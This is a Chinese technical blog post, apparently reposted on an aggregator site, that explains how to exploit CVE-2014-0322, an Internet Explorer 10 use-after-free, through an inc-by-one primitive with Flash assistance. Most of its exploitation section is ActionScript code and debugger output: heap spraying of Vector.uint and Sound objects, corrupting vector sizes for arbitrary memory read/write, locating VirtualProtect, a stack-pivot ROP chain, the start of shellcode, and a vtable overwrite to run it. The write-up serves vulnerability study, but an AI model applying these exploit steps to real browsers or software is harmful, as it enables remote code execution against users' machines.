百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

inc-by-one之高级漏洞利用技术

liebian365 2025-03-11 17:41 5 浏览 0 评论

Author:Netfairy

0x00 前言

什么是inc-by-one?比如有这样的一条指令:inc dword ptr[eax+8],这条指令执行的效果是使eax+8地址处的值加1,类似于c语言*(eax+8) = *(eax+8) +1,如果我们可以控制eax的值,那么这就是一个inc-by-one漏洞。

0x01 利用方法

1.布置堆内存

这里我以CVE-2014-0322为例子介绍,网上已有相关的漏洞原理介绍,本文介绍这种类型的漏洞利用方法,这是一个存在于ie10的uaf漏洞,尽管这个漏洞本身存在于IE 里面,但是为了实现成功利用,借用了flash作为辅助,来突破各种防护。打开poc,结果如下

要利用这个漏洞,首先我们利用ActionScript在堆上分配大量的Vector.uint,长度是0x3fe,因为每个Vector.uint有8字节BlockHeader,其中前4个字节是size字段。0x3fe*4+8=0x1000,所以每个Vector.uint之间紧邻,不会留下空隙。

#!cppthis.s = newVector.Object(0x10000); while ( len 0x10000 ){ this.s[len]= new Vector.uint(0x1000 / 4 - 2); //0x3fe for(i=0; i this.s[len].length; i++) { this.s[len][i]= 0x1a1a1a1a; } ++len;}

HeapSpray之后内存分布图

0x1a1b2000是其中一个Vector.uint,我把它命名为v1,0x1a1b3000为v2,以此类推。0x3fe是Vector.uint的大小。。

2.触发inc-by-one漏洞,修改size,读写整个地址空间

通过ie的触发uaf漏洞,重新分配内存占据已经被释放的对象,我们可以控制inc-by-one的目标地址,本文我们对0x1a1b2000处的v1的size字段加1,结果如下

V1的size被修改为0x3ff后,那么通过v1可以往后多访问四个字节(uint),刚好能访问到v2的size字段,也就是说v2的size字段可以被v1访问并修改,那么,如果我们把v2的size字段修改为一个很大的值,通过v2,我们就能读写整个进程地址空间。

#!cppwhile (v1 < 0x10000){ try { if (this.s[v1].length == 0x3ff) //v1本来0x3fe,漏洞触发后v1的size被修改为0x3ff { this.s[v1][0x3fe] = 0x3fffffff; //修改v2的size为0x3fffffff break; } } catch(e:Error) { }; v1 = (v1 + 1);};

3.喷射sound对象,便于后面的利用

因为flash是高级语言,我们无法直接操作内存,不能直接控制eip指向,但是高级语言的对象有一个虚表的东西,里面保存着虚函数的地址。如果我们能修改虚表指针指向另外一块可控内存,在这块内存写入我们shellcode的地址,一旦我们调用虚函数,实际上就会调用我们的shellcode。

为此我们用下面的代码布局sound对象

#!cppthis.sound = new Sound;this.spraysound = newVector.Object(0x100);len = 0; while (len 0x100){ this.spraysound[len]= new Vector.Object(0x1234); for(i=0; i this.spraysound[len].length; i++) { this.spraysound[len][i]= this.sound; } ++len;}

喷射结果如下

#!bash22490024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f13024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f18024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f1d024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f22024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.22f27024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.

实际上,22f03021是sound对象地址加1,通过修改sound对象的虚表指针,一旦我们调用test函数,实际上执行的是shellcode。

4.信息搜集

前面我们通过v2得到任意内存读写,在覆盖虚表指针,调用虚函数执行shellcode之前,还需要解决DEP保护。现在ie都启用了DEP保护

要关闭DEP,可以用VirtualProtect。那么,首先需要找到这个函数的地址。VirtualProtect由kernel32.dll导出,正好,flash模块的导入表有kernel32.dll,搜索IAT即可定位VirtualProtect。那么,首先要得到flash模块导入表的地址,那么我们得先知道flash模块的基址。这里我们我们通过flash的一个虚表指针往回暴力搜索pe头定位flash基址。而通过v2我们可以定位到一个虚表指针,总的来说,这个过程如下

Stack_pivot(xchg eax,esp;retn)后面我们会看到它的作用。首先搜索v2

#!cppv2 = 0;for (v2=0; v2 < this.s.length; v2++){ if (this.s[v2].length == 0x3FFFFFFF) //v2的size为0x3ffffff { break; }}

然后搜索一个flash虚表指针

#!cppj=0;while(i这里有必要解释一下,前面我们喷射了sound对象,在22490024-0x24内存如下#!bash22490000 00010c00 00004fe0 0fdf30000fde706822490010 22f03000 22490018 000000100000000022490020 61c0d2d4 00001234 22f0302122f0302122490030 22f03021 22f03021 22f0302122f0302122490040 22f03021 22f03021 22f0302122f0302122490050 22f03021 22f03021 22f0302122f03021Sound对象(22f03021)前面是0x00001234,再前面的0x61c0d2d4是flash一个虚表指针,虚表指针前面有一个标志,就是0x00010c00 通过这个flash虚表指针,暴力搜索flash基址#!cpptemp=vtable & 0xffff0000;while(1){ if (this.s[v2][(temp-0x1a1b3000)/4-2] == 0x00905A4D) //-2因为8个字节的Blockheader { baseflashaddr = temp; break; } temp=temp-0x1000;}得到flash基址后,搜索VirtualProtect和stack_privot地址#!cpp//获取导入表 peindex = this.s[v2][(baseflashaddr+0x3C-0x1a1b3000)/4-2]; importsindex = this.s[v2][(baseflashaddr+peindex+0x80-0x1a1b3000)/4-2]; //得到 VirtualProtect地址vp_addr = getVpAddr; //搜索stack_pivot地址i=0;while(1){ stackpivot = baseflashaddr+0x8a000+i; //从偏移0x8a000开始搜索 try { if ( (readInt(stackpivot)&0x0000ffff) == 0xC394 ) { break; } } catch(e:Error) { }; i++;}5.布置shellcode通过v2,把以上获取到的信息写入某个地址。首先写入stack_privot,执行后esp指向可控内存。然后写入VirtualProtect地址和它的参数,执行后关闭DEP。最后面写入shellcode,DEP关闭后转入shellcode执行。#!cpp//第一阶段shellcode:ROPwriteInt(0x1a1b3078,stackpivot); this.s[v2][0] =vp_addr //VirtualProtect地址this.s[v2][1] =0x1a1b4008 //设置为shellcodee的地址就可以了this.s[v2][2] =0x1a1b4008 //参数一:shellcode所在内存空间起始地址this.s[v2][3] =0x4000 //参数二:shellcode大小this.s[v2][4] =0x40 //参数三:0x40this.s[v2][5] =0x1a1b2008; //参数四:某个可写地址//第二阶段shellcode:任意代码writeInt(0x1a1b4008,0x0089E8FC);writeInt(0x1a1b400c,0x89600000);writeInt(0x1a1b4010,0x64D231E5);……6.修改sound对象虚表指针#!cppvar dec:uint = 0;var soundobjref:uint = 0;while (1){ soundobjref = this.s[v2][soundindex+0x0A]; //VA:sound对象的地址+1 if(writeInt(soundobjref-1,0x1a1b3008) == 1) //修改虚表指针为0x1a1b3008 { break; } else {
flash.external.ExternalInterface.call('alert',"Write vtable pointer failed and exploit falied..."); } break;}前面我们把shellcode布置在0x1a1b3078,这里为什么把虚表指针修改为0x1a1b3008呢?大家看

实际上是call[eax+0x70],eax就是虚表指针。7.调用虚函数,执行shellcode#!cppthis.sound.toString;0x02 动态调试为了模拟真实的攻击情景,搭建web服务器。用windbg附加ie,在Flash32_17_0_0_134!
IAEModule_IAEKernel_UnloadModule+0xdfaa2(是具体情况而定)下断点访问html文件

中断调试器,查看此时的v1,也就是0x1a1b2000

这是未触发漏洞前v1的size,为0x3fe。继续运行ExternalInterface.call(exevl);调用html文件里的exevl函数,此函数触发uaf漏洞

exevl函数执行完返回flash后,再看此时的v1,size字段成功被加1。

继续运行,通过v1修改v2的size字段this.s[v1][0x3fe] = 0x3fffffff; //修改v2'size为0x3fffffff

中断调试器,此时的v2的size字段已经被修改为0x3fffffff,这意味着我们可以访问很大一块内存地址空间

继续运行

中断调试器,用s -d 0x0 l?0x7fffffff 0x00001234搜索喷射的sound对象,前面有一些并不是,后面会比较连续的出现sound对象引用

下面的道理一样,我就不逐一截图了。最后来到这里
flash.external.ExternalInterface.call('alert',startto run calc?);

点击确定之后会调用sound对象的虚函数#!cpp//调用虚函数,触发
shellcodethis.sound.toString;widbg中断

从图中可以看到,程序会跳转到0x6257adf8地址执行,这个地址是#!bash6257adf894xchg eax,esp6257adf9c3ret执行xchgeax,sp后,esp=0x1a1b30008。我们看下0x1a1b3008处#!bash0:016 dd 0x1a1b30081a1b3008 774e2c15 1a1b4008 1a1b4008000040001a1b3018 00000040 1a1b2008 1a1a1a1a1a1a1a1a1a1b3028 1a1a1a1a 1a1a1a1a 1a1a1a1a1a1a1a1a……然后retn相当于jmp 0x774e2c15,即调用VirtualProtect#!cppkernel32!
VirtualProtect:774e2c158bff movedi,edi774e2c1755push ebp774e2c188becmov ebp,esp774e2c1a5dpop ebp774e2c1be9b8f4fbff jmpkernel32!CreateProcessA+0x56 (774a20d8)774e2c20 90nop……0x774e2c15后1a1b4008是VirtualProtect的返回地址,其实就是shellcode的地址

VirtualProtect完成设置shellcode所在内存为可执行,VirtualProtect返回之后调用shellcode完成漏洞利用

0x03 参考CVE-2014-0322 0day Exploit分析Flash Vector漏洞利用的蜕变

相关推荐

月薪 4K 到 4W 的运维工程师都经历了什么?

运维工程师在前期是一个很苦逼的工作,在这期间可能干着修电脑、掐网线、搬机器的活,显得没地位!时间也很碎片化,各种零碎的琐事围绕着你,很难体现个人价值,渐渐的对行业很迷茫,觉得没什么发展前途。这些枯燥无...

计算机专业必须掌握的脚本开发语言—shell

提起Shell脚本很多都有了解,因为无论是windows的Dom命令行还是Linux的bash都是它的表现形式,但是很多人不知道它还有一门脚本编程语言,就是ShellScript,我们提起的Shel...

Linux/Shell:排名第四的计算机关键技能

除了编程语言之外,要想找一份计算机相关的工作,还需要很多其他方面的技能。最近,来自美国求职公司Indeed的一份报告显示:在全美工作技能需求中,Linux/Shell技能仅次于SQL、Java、P...

使用Flask应用框架在Centos7.8系统上部署机器学习模型

安装centos7.8虚拟环境1、镜像链接...

shell编程

简介:Shell是一个用C语言编写的程序,它是用户使用Linux的桥梁。Shell既是一种命令语言,又是一种程序设计语言。...

14天shell脚本入门学习-第二天#脚本和参数#排版修正

脚本是一种包含一系列命令的文本文件,通常用于自动化任务。Shell脚本是用Shell命令编写的脚本,可以在命令行中执行。掌握脚本的基础知识和变量的使用是编写高效脚本的关键。...

嵌入式Linux开发教程:Linux Shell

本章重点介绍Linux的常用操作和命令。在介绍命令之前,先对Linux的Shell进行了简单介绍,然后按照大多数用户的使用习惯,对各种操作和相关命令进行了分类介绍。对相关命令的介绍都力求通俗易懂,都给...

实现SHELL中的列表和字典效果

大家好,我是博哥爱运维。编写代码,很多情况下我们需要有种类型来存储数据,在python中有列表和字典,golang中有切片slice和map,那么在shell中,我们能否实现列表和字典呢,答案是肯定的...

14天shell脚本入门学习-第二天#脚本和变量

脚本是一种包含一系列命令的文本文件,通常用于自动化任务。Shell脚本是用Shell命令编写的脚本,可以在命令行中执行。掌握脚本的基础知识和变量的使用是编写高效脚本的关键。...

shell常用命令之awk用法介绍

一、awk介绍awk的强大之处,在于能生成强大的格式化报告。数据可以来自标准输入,一个或多个文件,或者其他命令的输出。他支持用户自定义函数和动态正则表达式等先进功能,是Linux/unix一个强大的文...

Linux编程Shell之入门——Shell数组拼接与合并

在Shell中,可以使用不同的方式实现数组拼接和合并。数组拼接指将两个数组中的元素合并成一个数组,而数组合并指将两个数组逐个组合成一个新数组。以下是关于Shell数组拼接和合并的详细介绍:数...

shell中如何逆序打印数组的内容,或者反转一个数组?

章节索引图首先请注意,有序的概念仅适用于索引数组,而不适用于关联数组。如果没有稀疏数组,答案会更简单,但是Bash的数组可以是稀疏的(非连续索引)。因此,我们需要引入一个额外的步骤。...

如何学好大数据开发?---shell基本语法

昨天我们初步了解到了shell的一些基本知识,比如shell的分类,常用的shell类型。今天就带来大数据开发之shell基本语法,掌握好基础才是最重要的,那接下来就开始学习shell的基本语法。一、...

Linux编程Shell之入门——Shell关联数组

关联数组是Shell中一种特殊的数组类型,它使用字符串作为下标。在关联数组中,每个元素都被标识为一个唯一的字符串键值,也称为关联数组的索引。在Shell中,可以使用declare或typeset命令...

从编译器视角看数组和指针

虽然有单独的文章描述数组和指针,但二者的关系实在值得再写一篇文章。...

取消回复欢迎 发表评论: